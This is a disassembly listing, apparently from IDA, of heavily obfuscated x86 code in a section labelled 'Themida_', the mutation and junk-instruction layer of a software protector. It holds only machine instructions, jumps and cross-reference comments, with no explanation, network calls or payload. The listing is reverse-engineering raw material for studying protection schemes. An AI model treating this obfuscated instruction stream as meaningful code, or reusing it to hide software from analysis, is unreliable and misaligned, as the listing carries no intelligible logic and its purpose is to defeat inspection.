mov edi, 42954D57h
shl edi, 7
shr edi, 1
push ecx
jmp loc_5A7644
; ---------------------------------------------------------------------------
loc_5A7CFB: ; DATA XREF: Themida_:00598708o
lodsb
xor al, bl
push ecx
jmp loc_5A0FF0
; ---------------------------------------------------------------------------
loc_5A7D04: ; CODE XREF: Themida_:005A4FBDj
add esp, 4
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], ebx
push esp
pop ebx
add ebx, 4
jmp loc_5A9EFC
; ---------------------------------------------------------------------------
loc_5A7D24: ; CODE XREF: Themida_:005ADCC9j
xor eax, edx
push dword ptr [esp]
mov edx, [esp]
jmp loc_59BEE3
; ---------------------------------------------------------------------------
loc_5A7D31: ; CODE XREF: Themida_:005ABB08j
add ebp, 4
push 651Dh
mov [esp], edi
push edx
push edi
push 5EC47A83h
jmp loc_5A851B
; ---------------------------------------------------------------------------
loc_5A7D4B: ; CODE XREF: Themida_:005A0713j
add edx, esi
pop esi
sub edx, 4
xchg edx, [esp]
jmp loc_5A6489
; ---------------------------------------------------------------------------
loc_5A7D59: ; CODE XREF: Themida_:0059D697j
pop ebp
push edx
mov edx, esp
add edx, 4
push ebx
jmp loc_598D7F
; ---------------------------------------------------------------------------
loc_5A7D69: ; CODE XREF: Themida_:005AE0A3j
add eax, 37AE1F7Eh
add eax, ebx
sub eax, 37AE1F7Eh
add eax, 64AD591Ah
add eax, 6A013A72h
push 12ACh
mov [esp], edx
push 3512692Ah
push dword ptr [esp]
pop edx
push ebp
push esp
mov ebp, [esp]
jmp loc_5A9D58
; ---------------------------------------------------------------------------
loc_5A7D9A: ; CODE XREF: Themida_:005ADA5Cj
mov [esp], edx
jmp loc_5ABA4E
; ---------------------------------------------------------------------------
loc_5A7DA2: ; CODE XREF: Themida_:005AC7B1j
push ebx
mov ebx, esp
add ebx, 4
jmp loc_5A0415
; ---------------------------------------------------------------------------
loc_5A7DB0: ; CODE XREF: Themida_:005A674Bj
pop edi
jmp loc_5AB270
; ---------------------------------------------------------------------------
loc_5A7DB6: ; CODE XREF: Themida_:005A0751j
; Themida_:005A4CC9j
pop dword ptr [esp]
mov esp, [esp]
add esp, 4
push dword ptr [esp]
pop eax
push 61F1h
mov [esp], edi
mov edi, esp
push 5385h
mov [esp], eax
mov eax, 49C77300h
and eax, 19D4725Fh
xor eax, 3701756Ch
not eax
shl eax, 8
shr eax, 6
xor eax, 0EBE248h
add edi, eax
jmp loc_59FAF3
; ---------------------------------------------------------------------------
loc_5A7DFB: ; CODE XREF: Themida_:0059EEBEj
push 6CD6h
jmp loc_5A41EF
; ---------------------------------------------------------------------------
loc_5A7E05: ; CODE XREF: Themida_:005A887Cj
not edi
xor edi, 7883327Eh
sub edi, 0F875E2Eh
jmp loc_5AEF71
; ---------------------------------------------------------------------------
loc_5A7E18: ; CODE XREF: Themida_:005AB238j
pop edx
push dword ptr [esp]
jmp loc_5A2513
; ---------------------------------------------------------------------------
loc_5A7E21: ; CODE XREF: Themida_:005A5BA2j
shr edx, 1
cmp eax, edx
jz loc_59E7FD
push 49A8h
mov [esp], edx
mov edx, 2CF6D13h
jmp loc_5A93C0
; ---------------------------------------------------------------------------
loc_5A7E3D: ; CODE XREF: Themida_:0059E221j
mov esi, 44645DE7h
jmp loc_59FEAB
; ---------------------------------------------------------------------------
loc_5A7E47: ; CODE XREF: Themida_:0059AAB2j
push edi
mov edi, 3D813C4Ah
jmp loc_598C9F
; ---------------------------------------------------------------------------
loc_5A7E52: ; CODE XREF: Themida_:0059E355j
; DATA XREF: Themida_:005986D4o
mov ax, [esp]
push ebx
sub esp, 4
jmp loc_5AE15F
; ---------------------------------------------------------------------------
loc_5A7E62: ; CODE XREF: Themida_:0059AF87j
mov [esp], edi
mov edi, esp
push edx
mov edx, 4
add edi, edx
pop edx
sub esp, 4
mov [esp], esi
push edi
jmp loc_5ACAEA
; ---------------------------------------------------------------------------
loc_5A7E7F: ; CODE XREF: Themida_:0059FFD8j
xor edx, 42500A84h
push ebp
mov ebp, 3B357E99h
jmp loc_5A8F01
; ---------------------------------------------------------------------------
loc_5A7E90: ; CODE XREF: Themida_:005A081Bj
add eax, edi
push edx
mov dl, cl
jmp loc_5A2B87
; ---------------------------------------------------------------------------
loc_5A7E9A: ; CODE XREF: Themida_:00598FFEj
sub esp, 4
jmp loc_5A4C04
; ---------------------------------------------------------------------------
loc_5A7EA2: ; CODE XREF: Themida_:0059C824j
pop dword ptr [esp]
mov esp, [esp]
mov cx, [esp]
push 7164h
mov [esp], edi
mov edi, esp
push 3CE9h
mov [esp], eax
mov eax, 52B6132Fh
add eax, 3E65348Dh
jb loc_59A00F
add eax, 75C842E6h
jp loc_5ADEA9
jmp loc_599282
; ---------------------------------------------------------------------------
loc_5A7EDE: ; CODE XREF: Themida_:0059FE8Aj
; Themida_:005A7BF0j
push 329F3103h
pop edi
neg edi
jp loc_599563
jmp loc_5A2483
; ---------------------------------------------------------------------------
loc_5A7EF1: ; CODE XREF: Themida_:005AEEB4j
jp loc_59E614
jmp loc_5AF2C0
; ---------------------------------------------------------------------------
loc_5A7EFC: ; CODE XREF: Themida_:005A68FCj
push eax
push ebx
push edi
jmp loc_59DABB
; ---------------------------------------------------------------------------
loc_5A7F04: ; CODE XREF: Themida_:005AB824j
mov esp, [esp]
push 25EEh
mov [esp], edx
mov edx, 4
push edx
mov edx, 4739191Dh
add ebx, edx
pop edx
jmp loc_59FCC8
; ---------------------------------------------------------------------------
loc_5A7F22: ; CODE XREF: Themida_:005AE893j
jmp loc_59CF3D
; ---------------------------------------------------------------------------
loc_5A7F27: ; CODE XREF: Themida_:0059F58Fj
mov edi, 4F3577C4h
shr edi, 6
sub edi, 12C655B5h
push ebx
mov ebx, 6CD2283Dh
jmp loc_5A74D3
; ---------------------------------------------------------------------------
loc_5A7F40: ; CODE XREF: Themida_:005AD41Dj
inc ebp
jmp loc_5A326C
; ---------------------------------------------------------------------------
loc_5A7F46: ; CODE XREF: Themida_:005A3A82j
; Themida_:005A45DBj
mov edx, 31795468h
neg edx
not edx
jmp loc_5ACFBE
; ---------------------------------------------------------------------------
loc_5A7F54: ; CODE XREF: Themida_:005A3087j
push esi
mov esi, 3F891CAFh
xor [esp+4], esi
pop esi
mov edx, [esp]
add esp, 4
push eax
mov eax, 43883B39h
sub eax, 3FF1E8Ah
xor edx, eax
mov eax, [esp]
add esp, 4
mov ebx, [esp]
sub esp, 4
mov [esp], esi
push esp
mov esi, [esp]
add esp, 4
push 1F71h
jmp loc_598C55
; ---------------------------------------------------------------------------
loc_5A7F92: ; CODE XREF: Themida_:0059BECAj
add al, dl
jmp loc_598C05
; ---------------------------------------------------------------------------
loc_5A7F99: ; CODE XREF: Themida_:005AD341j
jmp loc_5A6489
; ---------------------------------------------------------------------------
loc_5A7F9E: ; CODE XREF: Themida_:005A1279j
mov ecx, esp
add ecx, 4
sub ecx, 4
push ecx
jmp loc_5A891F
; ---------------------------------------------------------------------------
loc_5A7FB2: ; CODE XREF: Themida_:0059C184j
pop edx
jmp loc_5A33EE
; ---------------------------------------------------------------------------
loc_5A7FB8: ; CODE XREF: Themida_:005AFB9Dj
push 227Bh
jmp loc_5A510F
; ---------------------------------------------------------------------------
loc_5A7FC2: ; CODE XREF: Themida_:00598D43j
xor edx, [esp]
xor [esp], edx
jmp loc_5AB256
; ---------------------------------------------------------------------------
loc_5A7FCD: ; CODE XREF: Themida_:005A329Ej
and eax, edx
mov edx, [esp]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_5A07C8
; ---------------------------------------------------------------------------
loc_5A7FE0: ; CODE XREF: Themida_:0059B924j
; Themida_:005A235Dj
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A7FE5: ; CODE XREF: Themida_:005AC0FFj
mov ch, 4Bh
shr ch, 8
jmp loc_59905E
; ---------------------------------------------------------------------------
loc_5A7FEF: ; CODE XREF: Themida_:0059D04Fj
add eax, edi
push ebx
jmp loc_59B0A4
; ---------------------------------------------------------------------------
loc_5A7FF7: ; CODE XREF: Themida_:005A7184j
mov ah, 0Fh
mov bl, ah
pop eax
shl bl, 2
jnp loc_5A5524
push eax
jmp loc_5A3F38
; ---------------------------------------------------------------------------
loc_5A800B: ; CODE XREF: Themida_:005A3E59j
pop ecx
jmp loc_5A3D58
; ---------------------------------------------------------------------------
loc_5A8011: ; CODE XREF: Themida_:005A4A5Cj
mov cl, ah
jmp loc_59CAB4
; ---------------------------------------------------------------------------
loc_5A8018: ; CODE XREF: Themida_:005A77B9j
shl edx, 1
jmp loc_5AE286
; ---------------------------------------------------------------------------
loc_5A801F: ; CODE XREF: Themida_:005A1C83j
; Themida_:005ABD34j
sub esp, 4
jmp loc_5AFB86
; ---------------------------------------------------------------------------
loc_5A8027: ; CODE XREF: Themida_:005A8F07j
mov ecx, 29C36638h
not ecx
add ecx, 7D4F67E0h
or ecx, 451E63E0h
and ecx, 0E370DCCh
shl ecx, 8
jmp loc_5AB5A1
; ---------------------------------------------------------------------------
loc_5A8048: ; CODE XREF: Themida_:005AC8D8j
mov [esp], si
jmp loc_5AE7A6
; ---------------------------------------------------------------------------
loc_5A8051: ; CODE XREF: Themida_:005A11EBj
push ax
mov ah, 92h
jmp loc_5A36FF
; ---------------------------------------------------------------------------
loc_5A805A: ; CODE XREF: Themida_:005AF668j
mov al, 92h
jmp loc_5ACBE3
; ---------------------------------------------------------------------------
loc_5A8061: ; CODE XREF: Themida_:005A302Ej
neg ebp
xchg ebp, esi
push edx
mov edx, 0BC388601h
sub esi, edx
mov edx, [esp]
add esp, 4
xor eax, esi
pop esi
push dword ptr [esp]
push dword ptr [esp]
mov esi, [esp]
add esp, 4
push esi
mov esi, esp
jmp loc_5A6036
; ---------------------------------------------------------------------------
loc_5A8090: ; CODE XREF: Themida_:005ADFAAj
add ecx, edx
jmp loc_5A48C1
; ---------------------------------------------------------------------------
loc_5A8097: ; CODE XREF: Themida_:005A2A4Bj
sub [esp+2], dl
pop dx
mov ch, [esp]
add esp, 2
add ch, 6Ah
push bx
mov bh, 81h
jmp loc_59C96F
; ---------------------------------------------------------------------------
loc_5A80AF: ; CODE XREF: Themida_:0059A996j
mov eax, 5C5C53DAh
and edi, eax
pop eax
not edi
jmp loc_5AA687
; ---------------------------------------------------------------------------
loc_5A80BE: ; CODE XREF: Themida_:005A214Ej
mov edi, ecx
pop ecx
push eax
jmp loc_5A971C
; ---------------------------------------------------------------------------
loc_5A80C7: ; CODE XREF: Themida_:005A37DBj
shl ch, 8
js loc_5A9FCF
inc ch
add ch, 0C1h
mov dl, ch
mov ecx, [esp]
jmp loc_5A01EE
; ---------------------------------------------------------------------------
loc_5A80DF: ; CODE XREF: Themida_:0059A404j
mov edi, 71FEBFBh
sub eax, edi
pop edi
jmp loc_59955B
; ---------------------------------------------------------------------------
loc_5A80EC: ; CODE XREF: Themida_:0059F5D3j
pop ebp
mov edx, esi
pop esi
sub ebx, 242F4F00h
sub ebx, edx
add ebx, 242F4F00h
pop edx
add ebx, 49B36512h
pop eax
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_5AC91A
; ---------------------------------------------------------------------------
loc_5A811A: ; CODE XREF: Themida_:005995FAj
or bl, 95h
jno loc_59B49F
push dx
mov dl, 0EEh
xor bl, dl
pop dx
xor bh, 46h
loc_5A812E: ; CODE XREF: Themida_:005AD89Fj
add edi, 4
xchg edi, [esp]
pop esp
mov edx, 20CFEA06h
add edx, edi
jmp loc_5A200C
; ---------------------------------------------------------------------------
loc_5A8144: ; CODE XREF: Themida_:0059EBBEj
add eax, edx
pop edx
jmp loc_59C174
; ---------------------------------------------------------------------------
loc_5A814C: ; CODE XREF: Themida_:0059BAE3j
push 7908h
mov [esp], ebx
mov ebx, 5BE04609h
shl ebx, 2
shr ebx, 5
jmp loc_59D2AB
; ---------------------------------------------------------------------------
loc_5A8164: ; CODE XREF: Themida_:005AC3A6j
add edx, 6D4F1B36h
add edx, esi
sub edx, 6D4F1B36h
pop esi
jmp loc_5A2615
; ---------------------------------------------------------------------------
loc_5A8178: ; CODE XREF: Themida_:0059AAE5j
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A817D: ; CODE XREF: Themida_:005A13D1j
add ecx, 0E4AAD8D8h
sub edi, 5C3C73F9h
sub edi, ecx
add edi, 5C3C73F9h
pop ecx
push eax
push ebx
mov ebx, esp
add ebx, 4
jmp loc_5A4170
; ---------------------------------------------------------------------------
loc_5A81A1: ; CODE XREF: Themida_:005AAD74j
inc ebp
xor ebp, 36297F7Ch
xor ebp, 0CCF0F770h
add ecx, ebp
pop ebp
and ecx, 58581B01h
add ecx, 1F515DB3h
xor ecx, 40D01B16h
push eax
mov eax, 0B43A0BB9h
sub ecx, eax
pop eax
sub edx, 45EC119Ah
sub edx, ecx
push ecx
jmp loc_59E35F
; ---------------------------------------------------------------------------
loc_5A81DA: ; CODE XREF: Themida_:005AB4BAj
sub esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
mov [esp], edx
mov edx, 3ACB1718h
push 9D5h
mov [esp], esi
mov esi, 5A0E677Eh
add esi, 82B5FD95h
push esi
sub dword ptr [esp], 70271F09h
pop ecx
jmp loc_5ADFA3
; ---------------------------------------------------------------------------
loc_5A8213: ; DATA XREF: Themida_:0059874Co
lodsd
xor eax, ebx
jmp loc_59C44B
; ---------------------------------------------------------------------------
loc_5A821B: ; CODE XREF: Themida_:0059EED9j
push ecx
mov ecx, esp
jmp loc_5A53A7
; ---------------------------------------------------------------------------
loc_5A8223: ; CODE XREF: Themida_:005A1E9Aj
sub ecx, 0B363A00h
sub ecx, ebx
add ecx, 0B363A00h
pop ebx
dec ecx
add ecx, 32D215E7h
sub eax, 24C66799h
jmp loc_59F836
; ---------------------------------------------------------------------------
loc_5A8243: ; CODE XREF: Themida_:005ABEA0j
rep movsd
add esp, [edx+38h]
push ebx
push 3AA1h
mov [esp], ecx
push 4B9146FBh
pop ecx
xor ecx, 3E6C5EB6h
xor ecx, 26FC7403h
push eax
jmp loc_5A9928
; ---------------------------------------------------------------------------
loc_5A8269: ; CODE XREF: Themida_:005AEFB9j
push dword ptr [esp+4]
pop ebx
jmp loc_5A272F
; ---------------------------------------------------------------------------
loc_5A8273: ; CODE XREF: Themida_:loc_5A9112j
xor ebp, 3840200Ch
jp loc_5A4AB9
inc ebp
jmp loc_5A325F
; ---------------------------------------------------------------------------
add ecx, edi
sub ecx, 364136E6h
pop ebx
loc_5A828E: ; CODE XREF: Themida_:0059D7ACj
push dword ptr [esp]
pop eax
sub esp, 4
jmp loc_5A2844
; ---------------------------------------------------------------------------
loc_5A829D: ; CODE XREF: Themida_:005A7314j
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], esi
mov esi, 58706B83h
neg esi
sub esi, 91191D2Eh
push edi
mov edi, 1676774Bh
sub esi, edi
pop edi
sub eax, 42A572C8h
add eax, esi
add eax, 42A572C8h
jmp loc_59AD88
; ---------------------------------------------------------------------------
loc_5A82D7: ; CODE XREF: Themida_:005A2E7Ej
xor ecx, 1C9F53E8h
jmp loc_59E986
; ---------------------------------------------------------------------------
loc_5A82E2: ; CODE XREF: Themida_:005A7649j
neg ecx
jmp loc_5AAEB1
; ---------------------------------------------------------------------------
loc_5A82E9: ; CODE XREF: Themida_:0059985Ej
pop edi
jmp loc_59B843
; ---------------------------------------------------------------------------
loc_5A82EF: ; CODE XREF: Themida_:005AA8E7j
pop edx
mov [ebx], cl
mov ecx, [esp]
push eax
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop eax
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A831E: ; CODE XREF: Themida_:0059D9B2j
pop ebp
add ebp, 4
add ebp, 4
push ebp
push dword ptr [esp+4]
jmp loc_598C18
; ---------------------------------------------------------------------------
loc_5A8332: ; CODE XREF: Themida_:005A7842j
sub esi, ebp
pop ebp
sub esi, 7C546BCCh
add esi, edx
add esi, 7C546BCCh
add esi, 305B7678h
pop edx
xor esi, [esp]
xor [esp], esi
jmp loc_5A02AF
; ---------------------------------------------------------------------------
loc_5A8355: ; CODE XREF: Themida_:0059B376j
xchg eax, [esp]
mov esp, [esp]
mov [esp], ebx
mov bh, 0A2h
not bh
add bh, 51h
add al, bh
pop ebx
add al, 3Fh
jmp loc_5ABD39
; ---------------------------------------------------------------------------
loc_5A836F: ; CODE XREF: Themida_:005A3075j
or ebp, 738A53AEh
jmp loc_5AD9B3
; ---------------------------------------------------------------------------
loc_5A837A: ; CODE XREF: Themida_:0059E10Ej
push ebx
mov ebx, 4D1B3ED5h
add edx, ebx
pop ebx
push ecx
jmp loc_5A09C9
; ---------------------------------------------------------------------------
loc_5A8389: ; CODE XREF: Themida_:005A9AA7j
and dx, 0A64h
sub esp, 2
mov [esp], ax
mov ax, 50D2h
push 2986h
mov [esp], ebp
mov bp, 0F2h
sub bp, 1345h
or bp, 2D4Ah
add bp, 7C1Fh
add bp, 0DF3Bh
add dx, 41B4h
add dx, bp
sub dx, 41B4h
pop ebp
add dx, ax
jmp loc_5A11B2
; ---------------------------------------------------------------------------
loc_5A83CF: ; CODE XREF: Themida_:005AF3CDj
mov [esp], eax
mov eax, 7E095FE9h
inc eax
or eax, 719977B7h
jmp loc_5A7C30
; ---------------------------------------------------------------------------
loc_5A83E2: ; CODE XREF: Themida_:loc_59A356j
inc edi
jle loc_599856
xor edi, 4CB74890h
mov ecx, edi
jmp loc_5A3865
; ---------------------------------------------------------------------------
loc_5A83F6: ; CODE XREF: Themida_:005ADB97j
mov ebp, ebx
mov ebx, [esp]
add esp, 4
sub edi, ebp
pop ebp
jmp loc_598BC6
; ---------------------------------------------------------------------------
loc_5A8406: ; CODE XREF: Themida_:005A697Cj
mov [esp], ebp
mov ebp, 4
add edx, ebp
pop ebp
push edi
jmp loc_5A663B
; ---------------------------------------------------------------------------
loc_5A8417: ; CODE XREF: Themida_:0059B8F8j
pop edi
shr esi, 6
push ecx
mov ecx, 0FFFFFFFFh
sub esi, ecx
pop ecx
push edi
push esp
pop edi
add edi, 4
push ecx
mov ecx, 4
sub edi, ecx
pop ecx
xchg edi, [esp]
pop esp
mov [esp], eax
jmp loc_5A319A
; ---------------------------------------------------------------------------
loc_5A8442: ; CODE XREF: Themida_:005A0204j
xor edx, 77D28D37h
push esi
mov esi, edx
jmp loc_5A1F1A
; ---------------------------------------------------------------------------
loc_5A8450: ; CODE XREF: Themida_:005A3D9Dj
sub [esp+4], ecx
jmp loc_5A765E
; ---------------------------------------------------------------------------
loc_5A8459: ; CODE XREF: Themida_:005AC1ECj
xor ebx, 73DA5DECh
jl loc_5ACBC4
push edi
jmp loc_59D351
; ---------------------------------------------------------------------------
mov ebp, [esp]
mov dh, 0C0h
loc_5A8471: ; CODE XREF: Themida_:005ADEEAj
sub ecx, 37BE16E7h
or ecx, 18961EEh
or ecx, 2EBB7F5Dh
jmp loc_5AC64A
; ---------------------------------------------------------------------------
loc_5A8488: ; CODE XREF: Themida_:005A9C49j
not ebp
xor ebp, 3BE66E6Ah
sub ebp, 3D9EF6FDh
mov edx, ebp
pop ebp
jmp loc_5994AE
; ---------------------------------------------------------------------------
loc_5A849E: ; CODE XREF: Themida_:005A8A96j
shl dword ptr [edx+38h], 5
jmp loc_5AD346
; ---------------------------------------------------------------------------
loc_5A84A7: ; CODE XREF: Themida_:005A94CEj
push eax
push 922h
mov [esp], ebx
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
push ebp
mov ebp, 4E8A28E9h
sub ebp, 2AF26C9Bh
jp loc_59DBA5
jmp loc_5AAEB1
; ---------------------------------------------------------------------------
dec esi
shr esi, 7
mov ebp, edi
loc_5A84D9: ; CODE XREF: Themida_:005A8566j
pop edx
xchg ebx, [esp]
mov esp, [esp]
mov [esp], esi
jmp loc_5A9930
; ---------------------------------------------------------------------------
loc_5A84E8: ; CODE XREF: Themida_:005A3F50j
mov edx, [esp]
push esi
jmp loc_59E381
; ---------------------------------------------------------------------------
loc_5A84F1: ; CODE XREF: Themida_:005A6243j
shr eax, 2
jmp loc_59EF64
; ---------------------------------------------------------------------------
loc_5A84F9: ; CODE XREF: Themida_:005A1C9Dj
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
mov [esp], eax
push 80h
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_59AE9E
; ---------------------------------------------------------------------------
loc_5A851B: ; CODE XREF: Themida_:005A7D46j
pop edi
not edi
shl edi, 4
xor edi, 2F9853D1h
mov edx, edi
pop edi
mov edi, 3C200413h
sub edi, 67CE228Dh
jmp loc_5AC728
; ---------------------------------------------------------------------------
loc_5A853A: ; CODE XREF: Themida_:0059A097j
push edx
push 5691F604h
pop edx
xor ebx, edx
jmp loc_5AECF3
; ---------------------------------------------------------------------------
loc_5A8548: ; CODE XREF: Themida_:005A2C15j
xor ebx, 998AEF4Dh
mov ebp, ebx
pop ebx
add ebp, 7B151F88h
not ebp
push 0
jmp loc_5A17AC
; ---------------------------------------------------------------------------
loc_5A8563: ; CODE XREF: Themida_:0059E608j
pop ecx
sub ebx, edx
jmp loc_5A84D9
; ---------------------------------------------------------------------------
loc_5A856B: ; CODE XREF: Themida_:00598FAAj
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_5AF8E2
; ---------------------------------------------------------------------------
loc_5A8579: ; CODE XREF: Themida_:005A894Aj
; Themida_:005AD9AEj
add edi, esi
pop esi
jmp loc_59BDCC
; ---------------------------------------------------------------------------
loc_5A8581: ; CODE XREF: Themida_:005A424Aj
push 7493h
mov [esp], eax
mov eax, esp
push 2B00h
mov [esp], ebx
mov ebx, 25D0578Dh
jmp loc_5AB0CC
; ---------------------------------------------------------------------------
loc_5A859D: ; CODE XREF: Themida_:005A16ABj
mov ecx, ebx
pop ebx
or ecx, 339E56A4h
sub ecx, 156A4AF9h
and ecx, 6F3D5D42h
jp loc_59E47E
add ecx, 99EBEEC4h
jmp loc_59EF59
; ---------------------------------------------------------------------------
loc_5A85C3: ; CODE XREF: Themida_:005A87C9j
mov esp, [esp]
jmp loc_599F7A
; ---------------------------------------------------------------------------
loc_5A85CB: ; CODE XREF: Themida_:005AEEE0j
add dword ptr [esp], 72DD7DABh
pop ebp
sub ebp, 72DD7DABh
mov ebx, [esp]
add esp, 4
push ebx
mov ebx, 4CB07523h
xor ebp, ebx
pop ebx
push ebp
not dword ptr [esp]
pop ebp
push eax
push 6BE6h
mov [esp], esi
mov esi, 433659A2h
inc esi
jnp loc_59BA5E
shr esi, 4
jmp loc_5A11A1
; ---------------------------------------------------------------------------
loc_5A860A: ; CODE XREF: Themida_:00598D14j
add ebx, edi
add ebx, 1C691E58h
jmp loc_5AC70A
; ---------------------------------------------------------------------------
loc_5A8617: ; CODE XREF: Themida_:00598F29j
; Themida_:005A5CF0j
push dword ptr [esp+4]
jmp loc_5A664D
; ---------------------------------------------------------------------------
loc_5A8620: ; CODE XREF: Themida_:005A555Aj
xor eax, 0BC23A9h
jmp loc_59E083
; ---------------------------------------------------------------------------
loc_5A862A: ; CODE XREF: Themida_:005A8C96j
sub edi, 348D12E4h
add edi, ebp
add edi, 348D12E4h
pop ebp
xchg edi, [esp]
pop esp
xchg edx, [esp]
mov esp, [esp]
push dword ptr [esp]
jmp loc_59C30E
; ---------------------------------------------------------------------------
loc_5A864B: ; CODE XREF: Themida_:005A33AEj
mov edx, esp
jmp loc_5A5962
; ---------------------------------------------------------------------------
loc_5A8652: ; DATA XREF: Themida_:005986F0o
mov cx, [esp]
push edx
push esp
pop edx
sub esp, 4
mov [esp], eax
jmp loc_5998D2
; ---------------------------------------------------------------------------
loc_5A8664: ; CODE XREF: Themida_:005AB0B6j
push esi
mov esi, 33495B20h
jmp loc_5A884C
; ---------------------------------------------------------------------------
loc_5A866F: ; CODE XREF: Themida_:0059E6D2j
pop esp
add edi, ecx
push 1060h
mov [esp], ebp
sub esp, 4
mov [esp], esi
push esp
pop esi
add esi, 4
push 40A8h
mov [esp], eax
jmp loc_5A8D77
; ---------------------------------------------------------------------------
loc_5A8698: ; CODE XREF: Themida_:005A0C0Bj
; Themida_:005AAB52j
push dword ptr [esp]
mov eax, [esp]
jmp loc_5A35BC
; ---------------------------------------------------------------------------
loc_5A86A3: ; CODE XREF: Themida_:0059993Aj
dec edx
jnz loc_59DAC5
dec edx
add edx, 0DE34BAFAh
mov eax, 0BBD040Fh
loc_5A86B6: ; CODE XREF: Themida_:005A5F14j
mov esi, 1E075B47h
jmp loc_5ADC6D
; ---------------------------------------------------------------------------
loc_5A86C0: ; CODE XREF: Themida_:005A498Ej
push edi
jmp loc_5AEBC4
; ---------------------------------------------------------------------------
loc_5A86C6: ; CODE XREF: Themida_:005AFB56j
xchg ebx, [esp]
mov esp, [esp]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_59C6E7
; ---------------------------------------------------------------------------
loc_5A86D7: ; CODE XREF: Themida_:0059ED0Ej
add ebx, 1D175831h
add ebx, 3BA31BD9h
sub ebx, ebp
jmp loc_59FB0C
; ---------------------------------------------------------------------------
loc_5A86EA: ; CODE XREF: Themida_:005A0DFDj
mov [esp], eax
xchg edi, [esp]
push edi
jmp loc_5AF458
; ---------------------------------------------------------------------------
loc_5A86F6: ; CODE XREF: Themida_:005A0CD6j
xchg edx, [esp]
pop esp
push esp
pop dword ptr [esp]
push ebp
mov ebp, 23FE5683h
add ebp, 6FFC765Dh
or ebp, 252E29h
shr ebp, 4
jnp loc_5A9112
jmp loc_5AEC14
; ---------------------------------------------------------------------------
loc_5A871E: ; CODE XREF: Themida_:005A9AB7j
and edi, 71331206h
sub edi, 46ADDB31h
sub ecx, 613246D4h
sub ecx, edi
add ecx, 613246D4h
pop edi
push edx
mov edx, 0ED2333EBh
jmp loc_5A778A
; ---------------------------------------------------------------------------
loc_5A8744: ; CODE XREF: Themida_:005A63BCj
sub ebx, 0D582F830h
and edx, ebx
mov ebx, [esp]
add esp, 4
push 756Ch
mov [esp], ecx
mov ecx, 562C6ADAh
xor edx, ecx
jmp loc_5ABD78
; ---------------------------------------------------------------------------
loc_5A8769: ; CODE XREF: Themida_:0059C11Ej
add esp, 4
sub esp, 4
mov [esp], edi
mov edi, esp
add edi, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
or eax, eax
jz loc_59DB9D
push dword ptr [edi+28h]
push eax
push 0B60h
jmp loc_5A4266
; ---------------------------------------------------------------------------
loc_5A87A2: ; CODE XREF: Themida_:005A56FAj
add esi, 1
push edi
mov edi, 0B0391DCFh
sub esi, edi
pop edi
jmp loc_59A93C
; ---------------------------------------------------------------------------
loc_5A87B6: ; CODE XREF: Themida_:005A5E35j
; Themida_:005AF00Bj
pop eax
add esp, 4
push ecx
push dword ptr [esp+4]
push dword ptr [esp]
pop ecx
add esp, 4
pop dword ptr [esp]
jmp loc_5A85C3
; ---------------------------------------------------------------------------
loc_5A87CE: ; CODE XREF: Themida_:005AE11Bj
jnp loc_5AFB0F
jmp loc_59B164
; ---------------------------------------------------------------------------
pop esi
sub esp, 4
jmp loc_59F6A0
; ---------------------------------------------------------------------------
loc_5A87E2: ; CODE XREF: Themida_:005AE73Aj
sub esp, 4
mov [esp], ebx
jmp loc_5A7919
; ---------------------------------------------------------------------------
loc_5A87F0: ; CODE XREF: Themida_:005AF7D6j
pop esp
add edx, 198D4A71h
jmp loc_5AE9B5
; ---------------------------------------------------------------------------
loc_5A87FC: ; CODE XREF: Themida_:005A5708j
mov edi, 6F97239Fh
push ebx
jmp loc_59A4B7
; ---------------------------------------------------------------------------
loc_5A8807: ; CODE XREF: Themida_:005ACAB3j
pop ebx
sub eax, 63FA393Eh
sub eax, ecx
add eax, 63FA393Eh
jmp loc_5A1F4B
; ---------------------------------------------------------------------------
loc_5A8819: ; CODE XREF: Themida_:0059999Ej
add ebx, esi
jmp loc_5AA8EC
; ---------------------------------------------------------------------------
loc_5A8820: ; CODE XREF: Themida_:005A428Ej
push esi
mov esi, 500D0F58h
sub esp, 4
jmp loc_5A9F6C
; ---------------------------------------------------------------------------
loc_5A882E: ; CODE XREF: Themida_:005A8EA3j
xor ecx, edi
pop edi
push edx
mov edx, 2CEB29FAh
sub eax, edx
jmp loc_5A2981
; ---------------------------------------------------------------------------
loc_5A883E: ; CODE XREF: Themida_:0059ABBFj
add ecx, 4
add ecx, 4
jmp loc_59D9B7
; ---------------------------------------------------------------------------
loc_5A884C: ; CODE XREF: Themida_:005A866Aj
xor esi, 0B4F227Bh
or esi, 2D1E3EBBh
jmp loc_5ACDCF
; ---------------------------------------------------------------------------
loc_5A885D: ; CODE XREF: Themida_:0059BFA6j
mov [esp], eax
push edi
push ebp
mov ebp, 30DE2F49h
jmp loc_59EDAC
; ---------------------------------------------------------------------------
loc_5A886C: ; CODE XREF: Themida_:0059961Bj
push 6B93h
mov [esp], esi
mov esi, esp
push edi
mov edi, 4F921EF1h
jmp loc_5A7E05
; ---------------------------------------------------------------------------
loc_5A8881: ; DATA XREF: Themida_:0059882Co
mov ax, [esp]
sub esp, 4
mov [esp], eax
push esp
mov eax, [esp]
add esp, 4
push 5AA5h
mov [esp], ebx
mov ebx, 4
sub eax, 96B6E09h
add eax, ebx
push edi
sub esp, 4
mov [esp], eax
mov eax, 633764Eh
mov edi, 50B8E150h
sub edi, eax
pop eax
xor edi, 43EE050Bh
sub eax, 58576824h
add eax, edi
push esi
jmp loc_59B427
; ---------------------------------------------------------------------------
loc_5A88D0: ; CODE XREF: Themida_:005A194Fj
sub ecx, 0C1910FB7h
jmp loc_5A9E95
